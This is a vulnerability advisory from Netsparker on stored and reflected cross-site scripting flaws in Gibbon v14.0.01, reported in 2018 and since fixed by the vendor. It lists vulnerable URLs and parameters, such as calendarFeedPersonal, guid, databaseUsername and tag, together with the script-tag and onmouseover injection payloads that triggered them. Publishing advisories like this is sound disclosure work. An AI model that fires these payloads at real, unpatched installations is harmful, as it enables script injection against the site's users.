Information
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Advisory by Netsparker
Name: Multiple XSS Vulnerabilities in Gibbon
Affected Software: Gibbon
Affected Versions: v14.0.01
Homepage: https://gibbonedu.org/
Vulnerability Type: Stored XSS Vulnerabilities
Severity: High
Status : Fixed
Netsparker Advisory Reference: NS-18-01
Technical Details - Stored XSS Vulnerabilities (Frontend)
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URL http://scanned.app/core/index.php?q=preferences.php&return=success0 Injection URL http://scanned.app/core/preferencesProcess.php
Parameter Name calendarFeedPersonal
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>netsparker(0x00401A)</scRipt>
Technical Details - XSS Vulnerability (Install)
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URL http://scanned.app/gibbon-install/installer/install.php?step=1&guid=x" onmouseover=netsparker(0x000157) x="
Parameter Name guid
Parameter Type GET
Attack Pattern x%22+onmouseover%3dnetsparker(0x000157)+x%3d%22
URL http://scanned.app/gibbon-install/installer/install.php?step=2&guid=i4pjwnyc3-hrvk-eg49-nh29-9qnnsipx0x
Parameter Name databaseUsername
Parameter Type POST
Attack Pattern %3cscRipt%3enetsparker(0x0003C6)%3c%2fscRipt%3e
URL http://scanned.app/gibbon-install/installer/install.php?step=2&guid=i4pjwnyc3-hrvk-eg49-nh29-9qnnsipx0x
Parameter Name databaseServer
Parameter Type POST
Attack Pattern %3cscRipt%3enetsparker(0x000365)%3c%2fscRipt%3e
Technical Details - XSS Vulnerability (Frontend)
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URL http://scanned.app/core/index.php?q=/modules/Resources/resources_view.php&tag='"--></style></scRipt><scRipt>netsparker(0x001B25)</scRipt>
Proof URL http://scanned.app/core/index.php?q=/modules/Resources/resources_view.php&tag='"--></style></scRipt><scRipt>alert(0x001B25)</scRipt>
Parameter Name tag
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>netsparker(0x001B25)</scRipt>
URL http://scanned.app/core/modules/Resources/resources_addQuick_ajax.php?file1=&file2=&file3=&file4=&id=x' onmouseover=netsparker(0x04665A) x='&address=&imagesAsLinks=N
Parameter Name id
Parameter Type GET
Attack Pattern x%27+onmouseover%3dnetsparker(0x04665A)+x%3d%27
For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).
Advisory Timeline
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17th January 2018 - First Contact
20th January 2018 - Vendor Fixed
28th June 2018 - Advisory Released
Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.
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